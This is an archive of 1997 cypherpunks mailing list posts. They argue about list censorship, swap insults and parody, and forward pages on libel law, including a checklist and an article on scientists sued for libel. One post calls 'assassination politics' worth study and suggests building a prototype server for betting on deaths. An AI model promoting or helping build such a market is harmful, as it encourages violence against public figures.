> understand things on a conceptual level, his rugged good looks, charm,
> and superior intelligence show that he should be allowed to control his
> own privately owned part of the net and anything that passes through it.
..........................................................


I believe it, Jim.

   ..
Blanc








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Sun, 26 Jan 1997 20:15:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Rejection policy of the Cypherpunks maiing list
Message-ID: <199701270415.UAA07559@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Rabid Wombat <wombat@mcfeely.bsfs.org> writes:

> Regardless of which side you take on this matter, remember that the issue
> was forced by the actions of an extremely small segment of the list
> "population."

The list "population" (readers) is a couple of thousand people, almost
all of whom are lurkers. All posters are an extremely small segment of
the readership. It's true on most Internet forums.

> The decision of that small segment to excercise its rights "in extreme"
> passed the tolerance thresholds of increasing numbers of list members,
> and the end result was a "restriction" adopted/elected/forced-on (colour
> it however you chose) on the entire "population."
>
> "Rights" are derived from social responsibility; its either that, or the
> "law of the jungle."

V.I.Lenin said: "liberty is a recognized necessity".
(I'll let Igor correct my translation is it's wrong.)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Sun, 26 Jan 1997 20:10:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Happy birthday to Oksas
Message-ID: <199701270410.UAA07321@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> 	That's my birthday...

Happy birthday to you,
 Happy birthday to you,
  Happy birthday dear Oksas,
   Happy birthday to you!

> 	have a great week ahead everyone!

Have a good year.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Sun, 26 Jan 1997 20:12:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Censorship
Message-ID: <199701270412.UAA07406@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


"Ross Wright" <rwright@adnetsol.com> writes:

> On or About 26 Jan 97 at 2:19, blanc wrote:
>
> > >Igor Chudov @ home wrote:
> > >>>Jim Choate wrote:
> > >>>>>Dr.Dimitri Vulis KOTM wrote:
> > >>>>>>>irrelevant@nowhere.com wrote:
> > >>>>>>>>>>Dale Thorn wrote:
> >
> > It can be said 100,000 times, but it still comes out the same:
> > Just as in "The only cure for bad speech is more speech", "the only
> > cure for 'list-focus-drift' is more on-focus postings".
>
> THE PRICE OF FREE SPEECH IS TOLERANCE OF IDEAS THAT WE MAY
> OBJECT TO.

Comversely, some people are willing to give up their own freedom of
speech so as to silence others whose views they don't like. They
hope that they'll be censored less than their "enemies". But a forum
can't be "a little bit censored" just like a woman can't be "a little
bit pregnant".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sun, 26 Jan 1997 20:59:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Jim Choate Speaks Out on My Part of the Net (fwd)
Message-ID: <199701270459.UAA09045@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Sun, 26 Jan 1997 20:07:57 -0800
> From: Toto <toto@sk.sympatico.ca>
> Subject: Jim Choate Speaks Out on My Part of the Net
> 
> Jim Choate wrote:

> > If you really and truly believe that the net belongs to everyone and nobody
> > has a right to limit or otherwise control the hardware and software along
> > with the associated comm links they own and pay for then you obviously don't
> > understand what is going on.

> > For instance, since Toto pays for the hardware and software that comprises
> > his part of the net, he is free to limit, control, and edit for content,
> > anything that passes through his part of the net.
> > Although I sometimes disagree with Toto because of my limited ability to
> > understand things on a conceptual level, his rugged good looks, charm,
> > and superior intelligence show that he should be allowed to control his
> > own privately owned part of the net and anything that passes through it.
> 
> >                                                  Jim Choate
> >                                                  CyberTects
> >                                                  ravage@ssz.com
> 
> Jim,
>  Thank you for your support in my efforts to exert supreme control over
> the part of the net that I have paid for.
>  I am sure that you will continue to fight for the right of myself and
> the government of Singapore to use that control for whatever purpose
> they choose.
>  As you can see above, I have enhanced your posting so that it more
> closely conforms to the beliefs that my paid-for part of the net was
> set up to espouse.

Are you aware that attributing statements in print to a party when that
party did not write them is a crime?

                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 26 Jan 1997 22:10:48 -0800 (PST)
To: dthorn@gte.net
Subject: Re: overview.htm (fwd)
Message-ID: <199701270610.WAA11802@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:

> BTW, if y'all can't stay away, I have a list of So. Cal. nude beaches,
> approx. 3 years old.

  I don't go in for that sick, perverted stuff, myself, but I have
a friend...







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Sun, 26 Jan 1997 20:12:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor
Message-ID: <199701270412.UAA07410@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:

> Dr.Dimitri Vulis KOTM wrote:
> > jim bell <jimbell@pacifier.com> writes:
> > > Look, I've proposed what I consider to be a remarkably consistent method
> > > prevent the kind of political tyranny that you criticize, and I don't see
> > > any recognition of this fact.
>
> > I said many times that I find AP a very interesting notion, worthy of study
> > Given how fast online gambling is growing, how soon do we have to wait for
> > a web site for taking bets on deaths of politicians and other prominents?
> > Why not set one up, using "funny money" not convertible to anything?
>
> If AP could really work, and AP is enabled by strong p-k crypto,
> that fact alone would justify the Washington boys doing *everything*
> in their power to stop *real* crypto (i.e., no back doors).

But they can't; and their efforts (ITAR, EAR, et al) are totally irrelevant
and ineffective and not worth the time people spend fighting them.

A prototype AP betting server, first limited to very innocent events (like
usenet postings containing certain regexps) and using "funny money" for bets,
would be a good demo.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Sun, 26 Jan 1997 20:10:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: (Fwd) Just Say No to Telcom "Reform"
Message-ID: <199701270410.UAA07345@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:
>   Let them know that if they want to censor you, they will have to
> censor your 'strong' crypto. Even if you choose to fight by showing
> up with your gun on your hip, at high-noon, it still doesn't hurt to
> have one tucked in your boot, as well.

Certain unnamed people believe that "strong" crypto, like free speech,
is only for those who use it "responsibly". Privacy is for the elite;
and they wish to join the elite, rather then extend the right to privacy
and/or free speech to the "unwashed masses".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Sun, 26 Jan 1997 20:10:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: (Fwd) Just Say No to Telcom "Reform"
Message-ID: <199701270410.UAA07332@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:
>   Let them know that if they want to censor you, they will have to
> censor your 'strong' crypto. Even if you choose to fight by showing
> up with your gun on your hip, at high-noon, it still doesn't hurt to
> have one tucked in your boot, as well.

Certain unnamed people believe that "strong" crypto, like free speech,
is only for those who use it "responsibly". Privacy is for the elite;
and they wish to join the elite, rather then extend the right to privacy
and/or free speech to the "unwashed masses".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Sun, 26 Jan 1997 20:57:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor
Message-ID: <199701270457.UAA08979@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> Dale Thorn wrote:
>
> > How does one country get on top and terrorize the whole world?  By
> > following Tom Wolfe's intimation concerning the pirates: "The people
> > on the East coast were constantly victimized because they couldn't
> > comprehend just how vicious and ruthless the pirates really were"
> > (quote approximate).
>
> Dale,
>   When I read posts like this, I wonder how any rationally thinking
> person can possibly believe that socio/politico concerns have no
> place in the discussion of crypto.
>   It is my belief that many of the more atrocious acts being performed
> against the citizens by various governments are made possible by the
> fact that there are so few people who recognize a 'pirate' when they
> see one.
>   While I appreciate that there are those who may be furthering the
> cause of crypto, privacy and freedom through official channels, the
> controlled media, and such, there needs to be a forum in which
> people are free to use what they consider to be the 'correct'
> terminology to refer to those who have usurped democracy in order
> to control the citizens for their own personal profit.
>   i.e. 'Pirates'

Right now, you can still say anything you like in "cypherpunks-unedited".
Anyone subscribed to the moderated cypherpunks list is free to resubscribe.
If the masses of lurkers choose not to do it, it's their loss, and not
your or my responsibility.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Three Blind Mice <3bmice@nym.alias.net>
Date: Sun, 26 Jan 1997 15:26:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cellular location...
Message-ID: <199701262326.PAA27174@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 25 Jan 1997, Mark M. wrote:

> I wonder how expensive it would be to put a GPS receiver in a cell phone and
> have the option to transmit the coordinates on a separate channel.  There
> would be little difference between this and forcing cell phone companies to
> triangulate every call.  The primary motivation for this is almost certainly
> "location escrow" to make it easier for the feds to track drug dealers.

Of course, one could always follow the ID4 example and triangulate cells
from a single location, preferably using equipment that any small-time
operator can find in his own car.

-- 3bmice







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Sun, 26 Jan 1997 21:58:00 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Happy birthday to Oksas
Message-ID: <199701270558.VAA11325@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




	Thank you Dr. Vulis !

	:)

	oksas
	






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sun, 26 Jan 1997 22:13:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: libel.html
Message-ID: <199701270613.WAA11974@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



   [IMAGE]
   [IMAGE]
   
Libel and Slander

   
   
   "Libel" involves the publishing of a falsehood that harms someone.
   Slander is the same doctrine applied to the spoken word. Collectively,
   they are referred to as "defamation". Both are a matter of state laws,
   which usually (not always) require that the falsehood be intentional.
   
   In New York Times v. Sullivan, the Supreme Court held that the First
   Amendment requires that, before a public official can recover damages
   for a defamatory statement, he must prove it was made with "actual
   malice", even if state laws otherwise allow recovery for negligent
   defamation. The Court has since expanded this to cover not only public
   officials but "public figures", including individuals who involve
   themselves in controversies.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sun, 26 Jan 1997 22:15:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: libelfrm.htm
Message-ID: <199701270615.WAA12017@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



                                LIBEL CHECKLIST
                                       
   
     _________________________________________________________________
   
   
     _________________________________________________________________
   
   
   
Look for material that identifies a person or an entity.

     Keep in mind that it is possible to identify people or entities
     without actually using a name. If the material contains identifiable
     voices, likenesses, or descriptions, it could be a problem.
     
   ___ The material identifies a person or entity.
   
STOP HERE if the material does not identify a person or entity.

   You can't have a libel without someone to complain about it!
   
   
     _________________________________________________________________
   
   
     _________________________________________________________________
   
   
   
Is any identified person dead?

     There is little reason to be concerned with statements or other
     material reflecting badly on dead persons because the law only
     protects "the memory of the dead," giving no cause of action to
     decedents. So long as the material concerns only the dead person,
     you need not answer the rest of the questions on this form.
     
   ___The person identified is dead.
   
STOP HERE if the person identified is dead.

   
     _________________________________________________________________
   
   
     _________________________________________________________________
   
   
   
If material identifies a living person, is it:

   A private individual.
   
   ___A public person.
   
   ___A political person.
   
   
     _________________________________________________________________
   
   
     _________________________________________________________________
   
   
   
Would the material negatively influence a reasonable reader's opinion of the
person or entity identified?

   ___a.
          It would reflect badly on the character of the person or
          entity.
          
   ___b.
          It could harm the reputation, diminish the esteem, respect or
          good will in which the person or entity's relevant community
          holds him, her or it.
          
   
     _________________________________________________________________
   
   
     _________________________________________________________________
   
   
   
If the material might reflect badly on character and/or harm reputation, would
the harm be the result of:

   ___An explicit statement.
   
   ___An insinuation.
   
   ___A sarcastic statement.
   
   ___A parody or cartoon.
   
   ___An opinion that implies that there are unstated defamatory facts
   underlying it.
   
   ___Other.
   
   
     _________________________________________________________________
   
   
     _________________________________________________________________
   
   
   
There are several possible defenses to a claim of defamation, although none may
apply in a particular case. Check one of the following defenses only if you are
fairly certain it would apply.

   ___The statement or other material is true.
   
   ___The statement or other material is purely an expression of opinion
   and not an assertion of fact.
   
   ___The statement or other material constitutes a fair comment on a
   matter of public opinion, for example, the use of public money,
   disbarment of attorneys, management of public institutions and
   charities, management of private companies whose activities widely
   affect the public (pollution, delivery of medical services, common
   carriage, employment practices, discrimination, etc.) or the review of
   books, public entertainment, sports events or scientific discoveries.
   
   ___No one could reasonably interpret the statement or image to be an
   assertion of actual fact about the person or entity.
   
   ___The statement or image can be characterized as mere words of abuse,
   indicating dislike for the person or entity, but does not suggest any
   specific charge.
   
   ___The subject of the statement or image has given consent to or
   approved the material.
   
   _________________ __________
   
     _________________________________________________________________
   
   University Liability for the Wrongful Acts of Employee Publishers |
   Copyright Management Center Homepage | Intellectual Property Section
   Homepage
     _________________________________________________________________
   
   
    8 August 1995
    
   University of Texas System Office of General Counsel
   
   
    Comments to gharper@utsystem.edu
    
   
     _________________________________________________________________





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 26 Jan 1997 22:12:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: 1a_c7p4.html
Message-ID: <199701270612.WAA11879@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



   [IMAGE]
   
  Chapter VII: Libel
  
   Identification
     _________________________________________________________________
   
   A plaintiff must prove that the alleged defamatory publication refers
   to him or her.
   
   Relatives cannot sue on behalf of a deceased person. Governmental
   entities cannot bring libel claims, nor can members of large groups
   (usually 25 or more). However, if the statement can be interpreted as
   referring to a particular person in a group, that person can sue.
   Also, if the offending information pertains to a majority of the
   members of a small group, any member of the group has standing to sue.
   
   A corporation may bring a libel claim if the alleged defamatory
   statement raises doubts about the honesty, credit, efficiency or
   prestige of that business. However, if the statements refer only to
   corporate officers, the corporation cannot litigate on their behalf.
   
   
     _________________________________________________________________
   
   [INLINE] Back to Table of Contents
   [INLINE] Jump to next section in this chapter





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sun, 26 Jan 1997 22:11:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: libsln.htm
Message-ID: <199701270611.WAA11844@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



   Landskroner, LTD. [INLINE]
   
Libel / Slander

   
   
   Libel / Slander is an area that involves defamatory oral or written
   statements containing false and misleading material which causes
   damage or injury to reputation and/or monetary loss.
   
   We provide a quick review of their success stories , some media and
   newspaper articles about what they've been able to do for their
   clients, and published articles about this topic.
   
   Please e-mail us with questions about our service! Landskroner and
   Phillips 
   [INLINE]
   
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   [INLINE]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Sun, 26 Jan 1997 21:55:47 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: overview.htm (fwd)
Message-ID: <199701270555.VAA11235@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




On Sun, 26 Jan 1997, Igor Chudov @ home wrote:
> Nurdane Oksas wrote:
> > 	California is know for very beautiful girls ... 
> 
> wrong.

	well, seems D. Thorn agrees with the song: 'california girls'


	






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 26 Jan 1997 22:18:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: prof_960318.html
Message-ID: <199701270618.WAA12182@toad.com>
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      LIBEL CONCERNS ARE A REALITY FOR SCIENTISTS WHO SPEAK OUT IN PUBLIC
                                       
   Author: Robert Finn (The Scientist, Vol:10, #6, p. 15, March 18, 1996)
   
   In today's increasingly litigious society, anyone can become the
   target of a lawsuit. A potential libel action, for example, should not
   only be the concern of publishers and journalists. The threat of a
   libel suit is now a reality for anyone, including scientists who
   choose to speak out publicly-or even write letters to the editor-on
   controversial issues.
   
   A libel suit can come without warning when an ordinary scientist is
   engaged in ordinary scientific activities. For example, Arnold S.
   Relman, editor emeritus of the New England Journal of Medicine, was
   quoted in a newspaper article criticizing the advertising practices of
   a for-profit hospital. Victor J. Stenger, a professor of physics at
   the University of Hawaii at Manoa, incorrectly described Israeli
   psychic Uri Geller's legal history in a book debunking paranormal
   phenomena. And Jan Moor-Jankowski, as editor of the Journal of Medical
   Primatology, merely printed a letter from an animal activist opposing
   a pharmaceutical company's experiments.
   
   Each of these scientists soon found himself faced with the dreaded
   prospect of defending himself in a libel suit. All three eventually
   prevailed in court, or the charges ended up being dropped. But
   defending themselves was a painful, distracting, and often expensive
   process. The lessons they learned are instructive to all scientists
   who write or make public statements.
   
   Arnol Relman
   CASE DISMISSED: "I think they knew they had no case," says Arnold
   Relman of the suit files against him by a for-profit cancer-treatment
   center. The First Amendment to the United States Constitution provides
   powerful-but not impregnable-protection to anyone who speaks on
   controversial topics. "Libel is a civil action, a tort action that you
   can bring against somebody claiming that a statement, either written
   or oral, is false and defamatory and caused you injury," explains
   Charles S. Sims, a noted libel attorney and partner at Proskauer Rose
   Goetz and Mendelsohn, a New York law firm. (This firm handles libel
   matters for The Scientist.)
   
   Sims notes that legal bills for a libel defense can quickly mount up.
   Even if the case is dismissed quickly, one can easily run up $20,000
   to $60,000 in costs, and if a case drags on, it can go into the
   millions. Libel insurance can cost publishers thousands of dollars per
   year, and is an additional factor in today's high cost of publishing.
   
   Victor Stenger
   ERRATUM SHEET INSERTED: Victor Stenger took measures to correct his
   text but was sued nonetheless. "If you are sued, you need to check
   with your employer or your institution or your professional
   group-anybody who might consider themselves morally bound to come to
   your aid," advises Sims. "And you also need to look at your home
   insurance policy. An astonishing number of home insurance policies
   have clauses which turn out to be usable to force an insurance company
   to pay for a defense."
   
Landmark Case

   The legal axiom goes, "Truth is an absolute defense against libel,"
   and indeed no true statement of fact can ever be libelous, and neither
   can statements of judgment or opinion, which are neither true nor
   false. Both these principles were put to the test in the landmark case
   that Immuno AG (a pharmaceutical company based in Austria) brought
   against Moor-Jankowski. The former editor of the Journal of Medical
   Primatology was then director of New York University's Laboratory for
   Experimental Medicine and Surgery in Primates. He has recently founded
   the Center for Academic Freedom, based in New York City.
   
   As chronicled in the book The Monkey Wars by Deborah Blum (Oxford
   University Press, 1994) and in interviews with Moor-Jankowski and his
   attorney Philip Byler (now at the New York firm Layton, Brooks and
   Hecht), it all started in January 1983, when Shirley McGreal wrote a
   letter to the Journal of Medical Primatology objecting to some
   experiments proposed by Immuno AG.
   
   McGreal is an animal activist and founder of the Charleston,
   S.C.-based International Primate Protection League. She learned that
   Immuno planned a study of non-A/non-B hepatitis in African
   chimpanzees, at a research station in Sierra Leone. Based on what she
   learned about the experiments, and the conclusions she drew from these
   facts, she had several objections. Among them were that the
   experimenters would be using wild-caught chimpanzees, whose numbers
   are dwindling; that they would release them after experimentally
   infecting them with hepatitis; and that the released chimps might
   transmit the disease to other animals.
   
   With McGreal's letter to the editor in hand, Moor-Jankowski tried to
   elicit a rebuttal from Immuno's research director. Instead, he soon
   received a letter from Immuno's lawyers asserting that McGreal's
   statements were inaccurate and reckless. It read, in part: "We would
   also like to advise you that our review of Dr. McGreal's letter
   indicated that it is not a fair comment regarding our client's
   activities, and should you proceed with publication, without giving us
   the opportunity for a meaningful response, we shall be compelled to
   take whatever actions we deem necessary to redress our client's
   rights."
   
   But though Moor-Jankowski waited until December 1983 before publishing
   McGreal's letter (S. McGreal, J. Med. Primatol., 12:280, 1983), Immuno
   never offered a substantive response to her charges. During that time
   Moor-Jankowski himself came to be critical of Immuno's planned
   experiments, and he was quoted to that effect in New Scientist (N.
   Heneson, 100:165, 1983).
   
   Immuno then brought suit against a number of institutions and
   individuals, including McGreal, Moor-Jankowski, the Journal of Medical
   Primatology, New Scientist, the distributors of both publications, and
   NYU. Although Immuno ultimately dropped plans for the experiments, it
   continued pursuing its libel cases. In response, almost all the
   defendants or their insurance companies chose to settle rather than
   fight.
   
   The exception was Moor-Jankowski. Born in Poland, he explains his
   decision to persist by saying, "As a very young boy I fought the
   Germans for freedom. I didn't want to stand up for muzzling."
   
   It cost him seven years and about $2 million in legal fees ($200,000
   of which Moor-Jankowski paid himself), and it generated an
   eight-volume legal record as the case cycled among the New York County
   Supreme Court, the New York State Court of Appeals, and the U.S.
   Supreme Court. In the end, Moor-Jankowski was vindicated. The Court of
   Appeals ruled that the letter was a combination of truthful factual
   statements and opinion, both of which are protected by the First
   Amendment. Jan Moor-Jankowski
   HE CHOSE TO FIGHT: Jan Moor-Jankowski did not settle his libel case
   out of court because "I didn't want to stand up for muzzling."
   
   "When you're talking about a letter to the editor, you're talking
   about what the Court of Appeals in New York correctly viewed as a
   forum to air grievances and views on the part of the public," says
   Philip Byler, Moor-Jankowski's attorney. "It's a precedent because
   it's a . . . decision which adhered to a broad constitutional
   protection of opinion."
   
   Byler maintains that the decision makes clear that "you do have a
   right to express views that are not orthodox. You do have a right to
   express viewpoints which over the course of time will be shown to be
   wrong-minded. A letter to the editor is a forum for opinion, and quite
   frankly people should feel the leeway to express themselves without
   the fear that sometime in the future, in the libel courtroom, where
   money damages are at stake, they will be shown to be wrong. That
   doesn't say that you have a right to make false, defamatory statements
   that are really hurtful to somebody."
   
   Byler's advice to authors of letters to the editor: Clearly separate
   factual statements from statements of opinion. "To the extent you are
   making a statement that's based on inference or speculation or
   conjecture, use words that indicate that." Byler believes that as
   editor of the journal, Moor-Jankowski more than fulfilled his
   obligations by deliberating a considerable time before publication,
   all the while soliciting a substantive response from the criticized
   party.
   
Public Figures

   For a statement to be libelous, the offended party must suffer actual
   damage, notes Sims. "It's got to be really harmful, not just something
   that offends somebody's sensibilities, but something that harms their
   reputation."
   
   This principle came into play in Cornell University astronomer Carl
   Sagan's suit against Apple Computer Inc. of Cupertino, Calif. Apple
   had been using "Carl Sagan" as its internal name for a new computer.
   Sagan got wind of this, and his lawyers sent Apple a letter
   instructing the company to cease and desist. In response, a project
   manager changed the computer's name to BHA, an acronym for Butt-Head
   Astronomer. Sagan sued Apple in the Central District of California
   for, among other things, libel, infliction of emotional distress, and
   improperly using his name.
   
   Judge Lourdes G. Baird dismissed the libel portion of the suit,
   holding that "one does not seriously attack the expertise of a
   scientist using the undefined phrase 'butt-head,' and that a reader
   aware of the context would understand the project manager was
   retaliating in a humorous and satirical way." Sagan, who declined to
   be interviewed for this article, later reached a settlement with Apple
   on the other aspects of the suit.
   
   But even when a statement is both false and harmful it still may not
   be libel, says Sims. "If it criticizes one particular event, in many
   states it's immune from prosecution under the single-instance rule. If
   you say that a doctor screwed up an operation, that's not libelous. If
   you say that he's a terrible surgeon, it might be. Similarly, if
   you're writing a review of a scientific article and say that scientist
   miscalculated the numbers... that's not going to be actionable. If you
   said, on the other hand, that somebody's research was fraudulent, it
   certainly would be."
   
   For individuals judged to be public figures, a statement must not only
   be false but also must be made with malice or with "reckless disregard
   for the truth." Explains Sims: "All 'reckless disregard' means is that
   you actually,subjectively entertained doubts and went ahead and
   published anyway. If you believe what you are saying, as a matter of
   law you cannot-if the jury or the judge believes you-lose a libel
   case."
   
   This would likely have been a factor had Uri Geller's suit against
   Victor Stenger not been dismissed before it ever got to trial. In his
   book Physics and Psychics: The Search for a World Beyond the Sensesm
   (Buffalo, N.Y., Prometheus Books, 1990), Stenger stated of Geller that
   "... he was once arrested for claiming his feats were performed with
   psychic power." In fact, Stenger had drawn an incorrect conclusion
   from some of his research material. The accounts Stenger relied upon
   mentioned that Geller had been "brought to court," but it had been in
   a civil case, and he had never been arrested.
   
   Once Stenger realized his error, he and his publisher voluntarily
   inserted an erratum sheet and changed the wording in later printings
   of the book. Nevertheless, Geller sued Stenger for libel in Florida,
   London, and Hawaii.
   
   Stenger is convinced that despite his error he would have prevailed
   had the case come to trial. "You can say something that is incorrect
   if at the time it was to the best of your knowledge correct," he
   explains. "That never came up, because as often happens in legal
   cases, you get out on technicalities before the merits are really
   discussed."
   
   Geller's Florida and Hawaii cases were dismissed because he brought
   them after those states' statutes of limitations had expired. And his
   case against Stenger in London was dropped as part of a global
   settlement of several related cases between Geller and the Amherst,
   N.Y.-based Committee for the Scientific Investigation of Claims of the
   Paranormal.
   
New Sources Of Trouble

   Typically, libel law says that only a corporation or a living person
   can be disparaged. But in 12 states (Alabama, Arizona, Colorado,
   Florida, Georgia, Idaho, Louisiana, Mississippi, Ohio, South Carolina,
   South Dakota, and Texas) it has recently become possible to libel a
   fruit or vegetable. Farmers in those states can now sue those who make
   false claims about agricultural products.
   
   These "agricultural disparagement" laws were apparently inspired by a
   1989 report from the New York City-based Natural Resources Defense
   Council (NRDC) linking the apple additive Alar to cancer. Growers
   turned to state legislators in an effort to fend off criticism by NRDC
   and other watchdog organizations. Lawrie Mott, senior scientist at
   NRDC's San Francisco office, calls them "veggie hate-crimes laws," and
   says of the states that have passed them, "They're attempting to
   silence those people who have raised questions about the food supply.
   
   "It's not clear that these laws are constitutional," Mott continues.
   "If it's based on 'reliable scientific fact,' it's not considered
   disparagement under the law. That's a very vague term, and one that's
   primed for litigation. But the ultimate advice I would have [for
   scientists] is: If what you say is accurate, stick to your guns. If
   you have scientific concerns about the safety of the food supply,
   don't be silenced by people with obvious interests in keeping it
   quiet."
   
   Lawrie Mott
   LETTUCE LIBELED? Lawrie Mott describes the "agricultural
   disparagement" laws as "veggie hate-crimes laws". Additionally, new
   modes of scientific communication-E-mail, Usenet newsgroups, and the
   World Wide Web-have become further sources of libel-related worries.
   As Dan L. Burk, an assistant professor at Seton Hall University's
   School of Law, writes: "For the first time in history, global computer
   networks have in essence made everyone a publisher-with a few
   keystrokes, ordinary citizens can make their opinions known to
   thousands of others... This is an exciting development for individual
   freedom of expression, but there is a dark side to this unprecedented
   opportunity: Such computer-mediated communication may also expose
   ordinary citizens to liability on an unprecedented scale" (D.L. Burk,
   The Scientist, April 3, 1995, page 12).
   
   One thing is certain: Legal liability issues in electronic
   communication are in a highly unsettled state. For example, there is
   no agreement on the critical issue of whether service providers such
   as CompuServe and America Online should be thought of as publishers,
   and hence at least partially responsible for the content of their
   service, or "common carriers" and thus no more responsible than is the
   phone company for conversations over its wires.
   
   Another recently developed legal scheme for silencing criticism of
   corporate practices has come to be called the "SLAPP suit." SLAPP
   stands for Strategic Litigation Against Public Participation. The law
   has long allowed just about anyone to sue anyone else for anything,
   and a SLAPP suit often takes the form of an unwinnable libel suit that
   is intended to harass and deplete the resources of critics.
   
   Arnold Relman, a longtime critic of what he calls the
   "medical-industrial complex," found himself the target of a what he
   considered a harassing libel suit after a reporter for the Dallas
   Morning News asked for his comment on some newspaper and radio ads
   placed by a for-profit cancer-treatment center, the Zion, Ill.-based
   Cancer Treatment Centers of America. (This is not technically a SLAPP
   suit because Relman's statement was quoted in a newspaper account and
   not made in the course of a public proceeding.) According to Relman,
   the ads implied that the center was able to help people with advanced
   cancer who had failed to respond to conventional medical treatments.
   
   "I said [to the reporter] I didn't know anything about the company,
   hadn't heard of it before, but on the face of what he read me those
   ads were misleading and they were unethical. . . . I said that . . .
   it was unfortunate that they would hold out this kind of hope to
   people with advanced metastatic cancer," recalls Relman.
   
   The center sued Relman and several other physicians quoted in the
   article (J. Weiss, Dallas Morning News, June 21, 1992, page 1A). A
   Texas court issued a subpoena to Relman requiring that he give a
   deposition at a lawyer's offices in Boston. But Relman's lawyers
   successfully argued that the Texas court had no jurisdiction in
   Massachusetts, and the case was ultimately dropped.
   
   "I think they knew they had no case," comments Relman. "I was
   expressing an opinion, and what I said as an opinion was true. I
   didn't say it with malicious intention. I didn't even know the
   company. I had nothing personal against them. I was just talking on a
   matter of public policy and medical ethics.
   
   "It seems to me that honest and well-intentioned scientific disputes
   ought to be off limits to litigation," continues Relman. "Many
   scientific advances are made by the resolution of disputes, the
